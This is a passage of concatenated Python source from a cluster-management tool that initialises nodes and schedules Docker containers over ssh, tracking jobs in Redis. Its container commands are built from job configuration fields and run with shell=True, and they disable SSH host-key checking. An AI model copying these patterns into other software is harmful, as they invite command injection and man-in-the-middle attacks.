"node_size": "", "resource_name": f"{cluster_id}-{node_name}-vm", "hostname": f"{cluster_id}-{node_name}-vm", "resources": { "cpu": cpu, "memory": memory, "gpu": gpu }, "containers": {} } self.grass_executor.remote_set_node_details( node_name=node_name, node_details=node_details, ) def _init_node(self, node_name: str): logger.info(f"Initiating node {node_name}.") # Load details cluster_details = self.cluster_details admin_username = cluster_details["user"]["admin_username"] node_details = self.grass_executor.remote_get_node_details(node_name=node_name) node_public_ip_address = node_details["public_ip_address"] ssh_port = cluster_details["connection"]["ssh"]["port"] # Make sure the node is able to connect self.grass_executor.retry_connection_and_set_ssh_port(node_ip_address=node_public_ip_address) # Create folders path_list = { GlobalPaths.MARO_GRASS_LIB, f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/data", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/images", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/jobs", f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}/schedules" } self._create_path_in_list(node_public_ip_address, path_list) # Copy required files copy_files_to_node( local_path=GlobalPaths.MARO_GRASS_LIB, remote_dir=GlobalPaths.MARO_LIB, admin_username=admin_username, node_ip_address=node_public_ip_address, ssh_port=ssh_port ) copy_files_to_node( local_path=f"{GlobalPaths.MARO_CLUSTERS}/{self.cluster_name}", remote_dir=GlobalPaths.MARO_CLUSTERS, admin_username=admin_username, node_ip_address=node_public_ip_address, ssh_port=ssh_port ) # Remote init node self.grass_executor.remote_init_node( node_name=node_name, node_ip_address=node_public_ip_address ) # Get public key public_key = self.grass_executor.remote_get_public_key(node_ip_address=node_public_ip_address) # Save details node_details["public_key"] = public_key self.grass_executor.remote_set_node_details( node_name=node_name, node_details=node_details ) # Update node status # Since On-Premises machines don't need to shutdown, it will be set to start directly. self.grass_executor.remote_update_node_status( node_name=node_name, action="start" ) # Load images self.grass_executor.remote_load_images( node_name=node_name, parallels=GlobalParams.PARALLELS, node_ip_address=node_public_ip_address ) # Load node agent service self.grass_executor.remote_load_node_agent_service( node_name=node_name, node_ip_address=node_public_ip_address ) logger.info_green(f"Node {node_name} has been initialized.") def node_leave_cluster(self, node_name: str): cluster_details = self.cluster_details nodes_details = self.grass_executor.remote_get_nodes_details() if node_name not in nodes_details: logger.warning(f"The specified node cannot be found in cluster {cluster_details['name']}.") return node_details = nodes_details[node_name] # Update node status self.grass_executor.remote_update_node_status( node_name=node_name, action="stop" ) # Delete node record in redis. self.grass_executor.remote_update_node_status(node_name, "delete") admin_username = cluster_details["user"]["admin_username"] node_ip_address = node_details["public_ip_address"] ssh_port = cluster_details["connection"]["ssh"]["port"] GrassOnPremisesExecutor.delete_user( admin_username="", maro_user=admin_username, ip_address=node_ip_address, ssh_port=ssh_port ) logger.info_green(f"The node {node_name} has been left cluster {cluster_details['name']}.") @staticmethod def create_user(admin_username: str, maro_user: str, ip_address: str, pubkey: str, ssh_port: int) -> None: if "" == admin_username: print("Please input a user account that has permissions to create user:") admin_username = input("> ") copy_files_to_node( local_path=f"{GlobalPaths.MARO_GRASS_LIB}/scripts/create_user.py", remote_dir="~/", admin_username=admin_username, node_ip_address=ip_address, ssh_port=ssh_port ) GrassExecutor.remote_add_user_to_node(admin_username, maro_user, ip_address, pubkey) @staticmethod def delete_user(admin_username: str, maro_user: str, ip_address: str, ssh_port: int) -> None: if "" == admin_username: admin_username = input("Please input a user account that has permissions to delete user:\r\n") copy_files_to_node( local_path=f"{GlobalPaths.MARO_GRASS_LIB}/scripts/delete_user.py", remote_dir="~/", admin_username=admin_username, node_ip_address=ip_address, ssh_port=ssh_port ) GrassExecutor.remote_delete_user_from_node(admin_username, maro_user, ip_address) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.cli.grass.executors.grass_azure_executor import GrassAzureExecutor from maro.cli.utils.checkers import check_details_validity from maro.cli.utils.details import load_cluster_details from maro.cli.utils.lock import lock from maro.utils.exception.cli_exception import BadRequestError @check_details_validity @lock def push_image( cluster_name: str, image_name: str, image_path: str, remote_context_path: str, remote_image_name: str, **kwargs ): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] in ["grass/azure", "grass/on-premises"]: executor = GrassAzureExecutor(cluster_name=cluster_name) executor.push_image( image_name=image_name, image_path=image_path, remote_context_path=remote_context_path, remote_image_name=remote_image_name ) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") --- FILE SEPARATOR --- class AllocationFailed(Exception): pass class StartContainerFailed(Exception): pass --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import heapq import json import logging import multiprocessing import os import subprocess import sys import time import uuid from redis import Redis from .exception import AllocationFailed, StartContainerFailed from .resource import ContainerResource, NodeResource from .utils import ( delete_rejoin_container_name_to_component_name, get_containers_details, get_job_details, get_job_runtime_details, get_jobs_details, get_killed_job_tickets, get_node_details, get_nodes_details, get_pending_job_tickets, get_rejoin_component_restart_times, get_rejoin_container_name_to_component_name, incr_rejoin_component_restart_times, load_cluster_details, remove_killed_job_ticket, remove_pending_job_ticket, set_containers_details, set_job_details ) logger = logging.getLogger(__name__) START_CONTAINER_COMMAND = ( "ssh -o StrictHostKeyChecking=no -p {ssh_port} {admin_username}@{node_hostname} " "docker run " "-it -d " "--cpus {cpu} " "-m {memory} " "--name {container_name} " "--network host " "--log-driver=fluentd " "--log-opt tag=maro.job_id.{job_id}.container_name.{container_name} " "--log-opt fluentd-address={master_hostname}:{fluentd_port} " "-v {mount_source}:{mount_target} " "{environment_parameters} {labels} " "{image_name} {command}" ) START_CONTAINER_WITH_GPU_COMMAND = ( "ssh -o StrictHostKeyChecking=no -p {ssh_port} {admin_username}@{node_hostname} " "docker run " "-it -d " "--cpus {cpu} " "-m {memory} " "--gpus {gpu} " "--name {container_name} " "--network host " "--log-driver=fluentd " "--log-opt tag=maro.job_id.{job_id}.container_name.{container_name} " "--log-opt fluentd-address={master_hostname}:{fluentd_port} " "-v {mount_source}:{mount_target} " "{environment_parameters} {labels} " "{image_name} {command}" ) REMOVE_CONTAINER_COMMAND = ( "ssh -o StrictHostKeyChecking=no -p {ssh_port} {admin_username}@{node_hostname} " "docker rm -f {containers}" ) STOP_CONTAINER_COMMAND = ( "ssh -o StrictHostKeyChecking=no -p {ssh_port} {admin_username}@{node_hostname} " "docker stop {containers}" ) AVAILABLE_METRICS = { "cpu", "memory", "gpu" } ERROR_CODE_FOR_NOT_RESTART = 64 ERROR_CODE_FOR_STOP_JOB = 65 ERROR_CODES_FOR_NOT_RESTART_CONTAINER = { 0, ERROR_CODE_FOR_NOT_RESTART, ERROR_CODE_FOR_STOP_JOB } class MasterAgent: def __init__(self, cluster_name: str): self._cluster_name = cluster_name self._cluster_details = load_cluster_details(cluster_name=cluster_name) def start(self) -> None: """Start agents. Returns: None. """ job_tracking_agent = JobTrackingAgent(cluster_details=self._cluster_details) job_tracking_agent.start() container_tracking_agent = ContainerTrackingAgent(cluster_details=self._cluster_details) container_tracking_agent.start() pending_job_agent = PendingJobAgent(cluster_details=self._cluster_details) pending_job_agent.start() container_runtime_agent = ContainerRuntimeAgent(cluster_details=self._cluster_details) container_runtime_agent.start() killed_job_agent = KilledJobAgent(cluster_details=self._cluster_details) killed_job_agent.start() class JobTrackingAgent(multiprocessing.Process): def __init__(self, cluster_details: dict, check_interval: int = 5): super().__init__() self._cluster_details = cluster_details self._cluster_name = cluster_details["name"] self._redis = Redis( host="localhost", port=cluster_details["master"]["redis"]["port"], charset="utf-8", decode_responses=True ) self._check_interval = check_interval def run(self) -> None: """Start updating jobs_details. Returns: None. """ while True: self._update_jobs_details() time.sleep(self._check_interval) def _update_jobs_details(self) -> None: """Update jobs_details with containers_details. Returns: None. """ # Get details and mapping. containers_details = get_containers_details( redis=self._redis, cluster_name=self._cluster_name ) jobs_details = get_jobs_details( redis=self._redis, cluster_name=self._cluster_name ) job_id_to_job_name = self._get_job_id_to_job_name(jobs_details=jobs_details) # Iterate nodes details. for container_name, container_details in containers_details.items(): curr_job_id = container_details["job_id"] if curr_job_id in job_id_to_job_name: curr_job_name = job_id_to_job_name[curr_job_id] jobs_details[curr_job_name]["containers"][container_name] = container_details else: logger.warning(f"Job Id {curr_job_id} is not found") # Save jobs details. for job_name, job_details in jobs_details.items(): job_details["check_time"] = self._redis.time()[0] set_job_details( redis=self._redis, cluster_name=self._cluster_name, job_name=job_name, job_details=job_details ) # Utils. @staticmethod def _get_job_id_to_job_name(jobs_details: dict) -> dict: """Get job_id_to_job_name mapping from jobs_details. Args: jobs_details: Details of the jobs. Returns: dict[int, str]: job_id_to_job_name mapping. """ job_id_to_job_name = {} for job_name, job_details in jobs_details.items(): job_id_to_job_name[job_details["id"]] = job_name return job_id_to_job_name class ContainerTrackingAgent(multiprocessing.Process): def __init__(self, cluster_details: dict, check_interval: int = 5): super().__init__() self._cluster_details = cluster_details self._cluster_name = cluster_details["name"] self._redis = Redis( host="localhost", port=cluster_details["master"]["redis"]["port"], charset="utf-8", decode_responses=True ) self._check_interval = check_interval def run(self) -> None: """Start updating containers_details. Returns: None. """ while True: self._update_containers_details() time.sleep(self._check_interval) def _update_containers_details(self) -> None: """Update containers_details with nodes_details. Returns: None. """ # Get details and init params. nodes_details = get_nodes_details(redis=self._redis, cluster_name=self._cluster_name) containers_details = {} # Iterate node_details. for _, node_details in nodes_details.items(): containers_details.update(node_details["containers"]) # Save containers_details. set_containers_details( redis=self._redis, cluster_name=self._cluster_name, containers_details=containers_details ) class ContainerRuntimeAgent(multiprocessing.Process): def __init__(self, cluster_details: dict, check_interval: int = 5): super().__init__() self._cluster_name = cluster_details["name"] self._cluster_id = cluster_details["id"] self._admin_username = cluster_details["user"]["admin_username"] self._fluentd_port = cluster_details["master"]["fluentd"]["port"] self._ssh_port = cluster_details["connection"]["ssh"]["port"] self._master_hostname = cluster_details["master"]["hostname"] self._redis = Redis( host="localhost", port=cluster_details["master"]["redis"]["port"], charset="utf-8", decode_responses=True ) self._check_interval = check_interval def run(self) -> None: """Start tracking exited containers. Returns: None. """ while True: self._iterate_container_status() time.sleep(self._check_interval) def _iterate_container_status(self) -> None: """Iterate container status. Find the exited container and try to restart it if the rule exists. Returns: None. """ # Get details. containers_details = get_containers_details( redis=self._redis, cluster_name=self._cluster_name ) # Iterate container status. for container_name, container_details in containers_details.items(): # Get job_runtime_details and flags. job_runtime_details = get_job_runtime_details( redis=self._redis, job_id=container_details["job_id"] ) # Remove container. is_remove_container = self._is_remove_container( container_details=container_details, job_runtime_details=job_runtime_details ) if is_remove_container: self._remove_container(container_name=container_name, container_details=container_details) # Restart container. if self._is_restart_container( container_details=container_details, job_runtime_details=job_runtime_details ): self._restart_container(container_name=container_name, container_details=container_details) # Stop job. if self._is_stop_job(container_details=container_details): self._stop_job(job_id=container_details["job_id"], is_remove_container=is_remove_container) @staticmethod def _is_remove_container(container_details: dict, job_runtime_details: dict) -> bool: """Check if the container need to be removed. Args: container_details (dict): Details of the container. job_runtime_details (dict): Runtime details of the job. Returns: bool: True or False. """ return ( container_details["state"]["Status"] == "exited" and job_runtime_details is not None and job_runtime_details.get("is_remove_failed_container") == "1" ) def _is_restart_container(self, container_details: dict, job_runtime_details: dict) -> bool: """Check if the container need to be removed. Args: container_details (dict): Details of the container. job_runtime_details (dict): Runtime details of the job. Returns: bool: True or False. """ exceed_maximum_restart_times = get_rejoin_component_restart_times( self._redis, job_id=container_details["job_id"], component_id=container_details["component_id"] ) >= int(job_runtime_details.get("rejoin:max_restart_times", sys.maxsize)) return ( container_details["state"]["Status"] == "exited" and container_details["state"]["ExitCode"] not in ERROR_CODES_FOR_NOT_RESTART_CONTAINER and job_runtime_details is not None and job_runtime_details.get("rejoin:enable") == "1" and not exceed_maximum_restart_times ) @staticmethod def _is_stop_job(container_details: dict) -> bool: """Check if the job need to be stop. Args: container_details (dict): Details of the container. Returns: bool: True of False. """ return ( container_details["state"]["Status"] == "exited" and container_details["state"]["ExitCode"] == ERROR_CODE_FOR_STOP_JOB ) def _restart_container(self, container_name: str, container_details: dict) -> None: """Restart container. Args: container_name (str): Name of the exited container. container_details (dict): Details of the exited container. Returns: None. """ # Get component_name_to_container_name. rejoin_container_name_to_component_name = get_rejoin_container_name_to_component_name( redis=self._redis, job_id=container_details["job_id"] ) # If the mapping not exists, or the container is not in the mapping, skip the restart operation. if ( rejoin_container_name_to_component_name is None or container_name not in rejoin_container_name_to_component_name ): logger.warning(f"Container {container_name} is not found in container_name_to_component_name mapping") return else: try: # Get params. component_name = rejoin_container_name_to_component_name[container_name] # Get resources and allocation plan. free_resources = ResourceManagementExecutor.get_free_resources( redis=self._redis, cluster_name=self._cluster_name ) required_resources = [ ContainerResource( container_name=ResourceManagementExecutor.build_container_name( job_id=container_details["job_id"], component_id=container_details["component_id"], component_index=container_details["component_index"] ), cpu=float(container_details["cpu"]), memory=float(container_details["memory"].replace("m", "")), gpu=float(container_details["gpu"]) ) ] allocation_plan = ResourceManagementExecutor.get_single_metric_balanced_allocation_plan( allocation_details={"metric": "cpu"}, required_resources=required_resources, free_resources=free_resources ) # Start a new container. job_details = get_job_details( redis=self._redis, cluster_name=self._cluster_name, job_name=container_details["job_name"] ) for container_name, node_name in allocation_plan.items(): node_details = get_node_details( redis=self._redis, cluster_name=self._cluster_name, node_name=node_name ) self._start_container( container_name=container_name, node_details=node_details, job_details=job_details, component_name=component_name ) incr_rejoin_component_restart_times( redis=self._redis, job_id=container_details["job_id"], component_id=container_details["component_id"] ) except AllocationFailed as e: logger.warning(f"Allocation failed with {e}") except StartContainerFailed as e: logger.warning(f"Start container failed with {e}") def _remove_container(self, container_name: str, container_details: dict) -> None: """Remove container. Args: container_name (str): Name of the container. container_details (dict): Details of the container. Returns: None. """ # Get details and params. node_name = container_details["node_name"] node_details = get_node_details( redis=self._redis, cluster_name=self._cluster_name, node_name=node_name ) # Load and exec command. command = REMOVE_CONTAINER_COMMAND.format( admin_username=self._admin_username, node_hostname=node_details["hostname"], containers=container_name, ssh_port=self._ssh_port ) completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) if completed_process.returncode != 0: logger.error(f"No container {container_name} in {node_name}") def _stop_job(self, job_id: str, is_remove_container: bool) -> None: """Stop job. Args: job_id (str): Id of the job. is_remove_container (bool): If the containers need to be removed. Returns: None. """ # Delete mapping if fault tolerance is activated. delete_rejoin_container_name_to_component_name( redis=self._redis, job_id=job_id ) # Load details and vars. nodes_details = get_nodes_details( redis=self._redis, cluster_name=self._cluster_name ) # Delete containers. for node_name, node_details in nodes_details.items(): # Load details. container_details = node_details["containers"] node_hostname = node_details["hostname"] # Filter containers. stoppable_containers = [] for container_name in container_details: if container_name.startswith(job_id): stoppable_containers.append(container_name) # Stop containers. if len(stoppable_containers) > 0: if is_remove_container: command = REMOVE_CONTAINER_COMMAND.format( admin_username=self._admin_username, node_hostname=node_hostname, containers=" ".join(stoppable_containers), ssh_port=self._ssh_port ) else: command = STOP_CONTAINER_COMMAND.format( admin_username=self._admin_username, node_hostname=node_hostname, containers=" ".join(stoppable_containers), ssh_port=self._ssh_port ) completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) if completed_process.returncode != 0: logger.error(completed_process.stderr) logger.info(command) def _start_container(self, container_name: str, node_details: dict, job_details: dict, component_name: str) -> None: """Start container. Args: container_name: Name of the container. node_details: Details of the node. job_details: Details of the job. component_name: Name of the component from mapping. Returns: None. """ # Get mapping. component_id_to_component_type = JobExecutor.get_component_id_to_component_type(job_details=job_details) # Parse params. cluster_name = self._cluster_name cluster_id = self._cluster_id node_id = node_details["id"] node_name = node_details["name"] job_id = job_details["id"] job_name = job_details["name"] component_id = container_name.split("-")[1] component_index = container_name.split("-")[2] component_type = component_id_to_component_type[component_id] cpu = job_details["components"][component_type]["resources"]["cpu"] memory = job_details["components"][component_type]["resources"]["memory"] gpu = job_details["components"][component_type]["resources"]["gpu"] # Parse environment parameters and labels. environment_parameters = ( f"-e CLUSTER_ID={cluster_id} " f"-e CLUSTER_NAME={cluster_name} " f"-e NODE_ID={node_id} " f"-e NODE_NAME={node_name} " f"-e JOB_ID={job_id} " f"-e JOB_NAME={job_name} " f"-e COMPONENT_ID={component_id} " f"-e COMPONENT_TYPE={component_type} " f"-e COMPONENT_INDEX={component_index} " f"-e CONTAINER_NAME={container_name} " f"-e PYTHONUNBUFFERED=0 " f"-e COMPONENT_NAME={component_name}" ) labels = ( f"-l cluster_id={cluster_id} " f"-l cluster_name={cluster_name} " f"-l node_id={node_id} " f"-l node_name={node_name} " f"-l job_id={job_id} " f"-l job_name={job_name} " f"-l component_type={component_type} " f"-l component_id={component_id} " f"-l component_index={component_index} " f"-l container_name={container_name} " f"-l cpu={cpu} " f"-l memory={memory} " f"-l gpu={gpu}" ) # Load command. if job_details["components"][component_type]["resources"]["gpu"] != 0: command = START_CONTAINER_WITH_GPU_COMMAND else: command = START_CONTAINER_COMMAND command = command.format( # cluster related. admin_username=self._admin_username, master_hostname=self._master_hostname, node_hostname=node_details["hostname"], fluentd_port=self._fluentd_port, ssh_port=self._ssh_port, # job related (user). cpu=cpu, memory=memory, gpu=gpu, mount_target=job_details["components"][component_type]["mount"]["target"], command=job_details["components"][component_type]["command"], image_name=job_details["components"][component_type]["image"], # job related (system). container_name=container_name, job_id=job_id, mount_source=f"~/.maro/clusters/{cluster_name}/data/", environment_parameters=environment_parameters, labels=labels ) # Exec command. logger.info(command) completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) if completed_process.returncode != 0: raise AllocationFailed(completed_process.stderr) class PendingJobAgent(multiprocessing.Process): def __init__(self, cluster_details: dict, check_interval: int = 5): super().__init__() self._cluster_name = cluster_details["name"] self._cluster_id = cluster_details["id"] self._admin_username = cluster_details["user"]["admin_username"] self._fluentd_port = cluster_details["master"]["fluentd"]["port"] self._ssh_port = cluster_details["connection"]["ssh"]["port"] self._master_hostname = cluster_details["master"]["hostname"] self._redis = Redis( host="localhost", port=cluster_details["master"]["redis"]["port"], charset="utf-8", decode_responses=True ) self._check_interval = check_interval self._pending_jobs = [] def run(self) -> None: """Start tracking pending job tickets. Returns: None. """ while True: self._schedule_pending_job_tickets() time.sleep(self._check_interval) def _schedule_pending_job_tickets(self) -> None: """Schedule pending job tickets. Returns: None. """ # Get tickets. self._pending_jobs = get_pending_job_tickets( redis=self._redis, cluster_name=self._cluster_name ) # Iterate tickets. for pending_job_name in self._pending_jobs: # Get details. job_details = get_job_details( redis=self._redis, cluster_name=self._cluster_name, job_name=pending_job_name ) # Get resources info. free_resources = ResourceManagementExecutor.get_free_resources( redis=self._redis, cluster_name=self._cluster_name ) required_resources = ResourceManagementExecutor.get_required_resources(job_details=job_details) # Do allocation and start job. try: allocation_plan = ResourceManagementExecutor.get_allocation_plan( allocation_details=job_details["allocation"], required_resources=required_resources, free_resources=free_resources ) for container_name, node_name in allocation_plan.items(): node_details = get_node_details( redis=self._redis, cluster_name=self._cluster_name, node_name=node_name ) self._start_container( container_name=container_name, node_details=node_details, job_details=job_details ) remove_pending_job_ticket( redis=self._redis, cluster_name=self._cluster_name, job_name=pending_job_name ) except AllocationFailed as e: logger.warning(f"Allocation failed with {e}") except StartContainerFailed as e: remove_pending_job_ticket( redis=self._redis, cluster_name=self._cluster_name, job_name=pending_job_name ) logger.warning(f"Start container failed with {e}") def _start_container(self, container_name: str, node_details: dict, job_details: dict): """Start container. Args: container_name: Name of the container. node_details: Details of the node. job_details: Details of the job. Returns: None. """ # Get mapping. component_id_to_component_type = JobExecutor.get_component_id_to_component_type(job_details=job_details) # Parse params. cluster_name = self._cluster_name cluster_id = self._cluster_id node_id = node_details["id"] node_name = node_details["name"] job_name = job_details["name"] job_id = job_details["id"] component_id = container_name.split("-")[1] component_index = container_name.split("-")[2] component_type = component_id_to_component_type[component_id] cpu = job_details["components"][component_type]["resources"]["cpu"] memory = job_details["components"][component_type]["resources"]["memory"] gpu = job_details["components"][component_type]["resources"]["gpu"] # Parse environment parameters and labels. environment_parameters = ( f"-e CLUSTER_ID={cluster_id} " f"-e CLUSTER_NAME={cluster_name} " f"-e NODE_ID={node_id} " f"-e NODE_NAME={node_name} " f"-e JOB_ID={job_id} " f"-e JOB_NAME={job_name} " f"-e COMPONENT_ID={component_id} " f"-e COMPONENT_TYPE={component_type} " f"-e COMPONENT_INDEX={component_index} " f"-e CONTAINER_NAME={container_name} " f"-e PYTHONUNBUFFERED=0" ) labels = ( f"-l cluster_id={cluster_id} " f"-l cluster_name={cluster_name} " f"-l node_id={node_id} " f"-l node_name={node_name} " f"-l job_id={job_id} " f"-l job_name={job_name} " f"-l component_type={component_type} " f"-l component_id={component_id} " f"-l component_index={component_index} " f"-l container_name={container_name} " f"-l cpu={cpu} " f"-l memory={memory} " f"-l gpu={gpu}" ) # Load command. if job_details["components"][component_type]["resources"]["gpu"] != 0: command = START_CONTAINER_WITH_GPU_COMMAND else: command = START_CONTAINER_COMMAND command = command.format( # cluster related. admin_username=self._admin_username, master_hostname=self._master_hostname, node_hostname=node_details["hostname"], fluentd_port=self._fluentd_port, ssh_port=self._ssh_port, # job related (user). cpu=cpu, memory=memory, gpu=gpu, mount_target=job_details["components"][component_type]["mount"]["target"], command=job_details["components"][component_type]["command"], image_name=job_details["components"][component_type]["image"], # job related (system). container_name=container_name, job_id=job_id, mount_source=f"~/.maro/clusters/{cluster_name}/data/", environment_parameters=environment_parameters, labels=labels ) # Exec command. logger.info(command) completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) if completed_process.returncode != 0: raise AllocationFailed(completed_process.stderr) class KilledJobAgent(multiprocessing.Process): def __init__(self, cluster_details: dict, check_interval: int = 5): super().__init__() self._cluster_name = cluster_details["name"] self._cluster_id = cluster_details["id"] self._admin_username = cluster_details["user"]["admin_username"] self._ssh_port = cluster_details["connection"]["ssh"]["port"] self._redis = Redis( host="localhost", port=cluster_details["master"]["redis"]["port"], charset="utf-8", decode_responses=True ) self._check_interval = check_interval self._killed_job_tickets = [] def run(self) -> None: """Start tracking killed job tickets. Returns: None. """ while True: self._schedule_killed_job_tickets() time.sleep(self._check_interval) def _schedule_killed_job_tickets(self): """Schedule killed job tickets. Returns: None. """ # Get tickets. self._killed_job_tickets = get_killed_job_tickets( redis=self._redis, cluster_name=self._cluster_name ) # Iterate tickets. for job_name in self._killed_job_tickets: # Get details. job_details = get_job_details( redis=self._redis, cluster_name=self._cluster_name, job_name=job_name ) if job_details is not None: # Kill job. self._kill_job(job_details=job_details) else: logger.warning(f"{job_name} not exists, cannot be stopped") # Remove killed job ticket. remove_killed_job_ticket( redis=self._redis, cluster_name=self._cluster_name, job_name=job_name ) def _kill_job(self, job_details: dict) -> None: """Kill job and stop containers. Args: job_details (dict): Details of the job. Returns: None. """ # Get params. job_id = job_details["id"] # Delete mapping if fault tolerance is activated. delete_rejoin_container_name_to_component_name( redis=self._redis, job_id=job_id ) # Load details and vars. nodes_details = get_nodes_details( redis=self._redis, cluster_name=self._cluster_name ) # Delete containers. for node_name, node_details in nodes_details.items(): # Load details. container_details = node_details["containers"] node_hostname = node_details["hostname"] # Filter containers. removable_containers = [] for container_name in container_details: if container_name.startswith(job_id): removable_containers.append(container_name) # Stop containers. if len(removable_containers) > 0: command = STOP_CONTAINER_COMMAND.format( admin_username=self._admin_username, node_hostname=node_hostname, containers=" ".join(removable_containers), ssh_port=self._ssh_port ) completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) if completed_process.returncode != 0: logger.error(completed_process.stderr) logger.info(command) class ResourceManagementExecutor: @staticmethod def get_allocation_plan(allocation_details: dict, required_resources: list, free_resources: list) -> dict: """Get container allocation mapping. Args: allocation_details (dict): Details of allocation config. required_resources (list): List of ContainerResource. free_resources (list): List of NodeResource. Returns: dict: container_name to node_name mapping. """ if allocation_details["mode"] == "single-metric-balanced": return ResourceManagementExecutor.get_single_metric_balanced_allocation_plan( allocation_details=allocation_details, required_resources=required_resources, free_resources=free_resources ) elif allocation_details["mode"] == "single-metric-compacted": return ResourceManagementExecutor.get_single_metric_compacted_allocation_plan( allocation_details=allocation_details, required_resources=required_resources, free_resources=free_resources ) else: raise AllocationFailed("Invalid allocation mode") @staticmethod def get_single_metric_compacted_allocation_plan( allocation_details: dict, required_resources: list, free_resources: list ) -> dict: """Get single_metric_compacted allocation plan. The strategy uses a specific metric as the priority, then use a greedy approach to match the container to the available node with the smallest remaining free resource. Args: allocation_details (dict): Details of allocation config. required_resources (list): List of ContainerResource. free_resources (list): List of NodeResource. Returns: dict[str, str]: container_name to node_name mapping. """ # Init params. allocation_plan = {} if "metric" not in allocation_details or allocation_details["metric"].lower() not in AVAILABLE_METRICS: raise AllocationFailed("Invalid allocation parameter: metric") metric = allocation_details["metric"].lower() # Init resources PQ. required_resources_pq = [] for required_resource in required_resources: heapq.heappush( required_resources_pq, (-getattr(required_resource, metric), required_resource) ) free_resources_pq = [] for free_resource in free_resources: heapq.heappush( free_resources_pq, (getattr(free_resource, metric), free_resource) ) # Get allocation. while len(required_resources_pq) > 0: is_allocated = False # Get vars. required_resource = heapq.heappop(required_resources_pq)[1] free_resource = None not_usable_free_resources = [] while len(free_resources_pq) > 0: free_resource = heapq.heappop(free_resources_pq)[1] if free_resource >= required_resource: is_allocated = True break else: not_usable_free_resources.append(free_resource) # Do allocation or return error. if is_allocated: allocation_plan[required_resource.container_name] = free_resource.node_name free_resource.cpu -= required_resource.cpu free_resource.memory -= required_resource.memory free_resource.gpu -= required_resource.gpu heapq.heappush( free_resources_pq, (getattr(free_resource, metric), free_resource) ) for not_usable_free_resource in not_usable_free_resources: heapq.heappush( free_resources_pq, (getattr(not_usable_free_resource, metric), not_usable_free_resource) ) else: # add previous resources back, to do printing. for not_usable_free_resource in not_usable_free_resources: heapq.heappush( free_resources_pq, (getattr(not_usable_free_resource, metric), not_usable_free_resource) ) heapq.heappush( required_resources_pq, (-getattr(required_resource, metric), required_resource) ) logger.warning(allocation_plan) logger.warning(required_resources_pq) logger.warning(free_resources_pq) raise AllocationFailed("Unable to allocate, Abort") logger.info(required_resources) logger.info(free_resources) return allocation_plan @staticmethod def get_single_metric_balanced_allocation_plan( allocation_details: dict, required_resources: list, free_resources: list ) -> dict: """Get single_metric_balanced allocation plan. The strategy uses a specific metric as the priority, then use a greedy approach to match the container to the available node with the largest remaining free resource. Args: allocation_details (dict): Details of allocation config. required_resources (list): List of ContainerResource. free_resources (list): List of NodeResource. Returns: dict[str, str]: container_name to node_name mapping. """ # Init params. allocation_plan = {} if "metric" not in allocation_details or allocation_details["metric"].lower() not in AVAILABLE_METRICS: raise AllocationFailed("Invalid allocation parameter: metric") metric = allocation_details["metric"].lower() # Init resources PQ. required_resources_pq = [] for required_resource in required_resources: heapq.heappush( required_resources_pq, (-getattr(required_resource, metric), required_resource) ) free_resources_pq = [] for free_resource in free_resources: heapq.heappush( free_resources_pq, (-getattr(free_resource, metric), free_resource) ) # Get allocation. while len(required_resources_pq) > 0: # Get list, not tuple. required_resource = heapq.heappop(required_resources_pq)[1] not_usable_free_resources = [] is_allocated = False free_resource = None while len(free_resources_pq) > 0: # Get list, not tuple. free_resource = heapq.heappop(free_resources_pq)[1] if free_resource >= required_resource: is_allocated = True break else: not_usable_free_resources.append(free_resource) # Do allocation or return error. if is_allocated: allocation_plan[required_resource.container_name] = free_resource.node_name free_resource.cpu -= required_resource.cpu free_resource.memory -= required_resource.memory free_resource.gpu -= required_resource.gpu heapq.heappush( free_resources_pq, (-getattr(free_resource, metric), free_resource) ) for not_usable_free_resource in not_usable_free_resources: heapq.heappush( free_resources_pq, (-getattr(not_usable_free_resource, metric), not_usable_free_resource) ) else: # add previous resources back, to do printing. for not_usable_free_resource in not_usable_free_resources: heapq.heappush( free_resources_pq, (-getattr(not_usable_free_resource, metric), not_usable_free_resource) ) heapq.heappush( required_resources_pq, (-getattr(required_resource, metric), required_resource) ) logger.warning(allocation_plan) logger.warning(required_resources_pq) logger.warning(free_resources_pq) raise AllocationFailed("Unable to allocate, Abort") logger.info(required_resources) logger.info(free_resources) return allocation_plan @staticmethod def get_free_resources(redis: Redis, cluster_name: str) -> list: """Get free resources of nodes in cluster. Args: redis (Redis): Redis Client of current cluster. cluster_name (str): Name of the cluster. Returns: list: List of NodeResource. """ # Load details. nodes_details = get_nodes_details( redis=redis, cluster_name=cluster_name ) # Get free resources. free_resources_list = [] for node_name, node_details in nodes_details.items(): target_free_cpu = node_details["resources"]["target_free_cpu"] target_free_memory = node_details["resources"]["target_free_memory"] target_free_gpu = node_details["resources"]["target_free_gpu"] if node_details["state"] == "Running": free_resources_list.append( NodeResource( node_name=node_name, cpu=target_free_cpu, memory=target_free_memory, gpu=target_free_gpu ) ) return free_resources_list @staticmethod def get_required_resources(job_details: dict) -> list: """Get required resources from job_details. Args: job_details: Details of jobs. Returns: list: List of ContainerResource. """ # Load configs. components_details = job_details["components"] job_id = job_details["id"] # Get required resources. resources_list = [] for component_type, component_details in components_details.items(): component_id = component_details["id"] component_num = component_details["num"] required_cpu = component_details["resources"]["cpu"] required_memory = int(component_details["resources"]["memory"].replace("m", "")) required_gpu = component_details["resources"]["gpu"] for i in range(component_num): resources_list.append( ContainerResource( container_name=ResourceManagementExecutor.build_container_name(job_id, component_id, i), cpu=required_cpu, memory=required_memory, gpu=required_gpu, ) ) return resources_list @staticmethod def build_container_name(job_id: str, component_id: str, component_index: int) -> str: 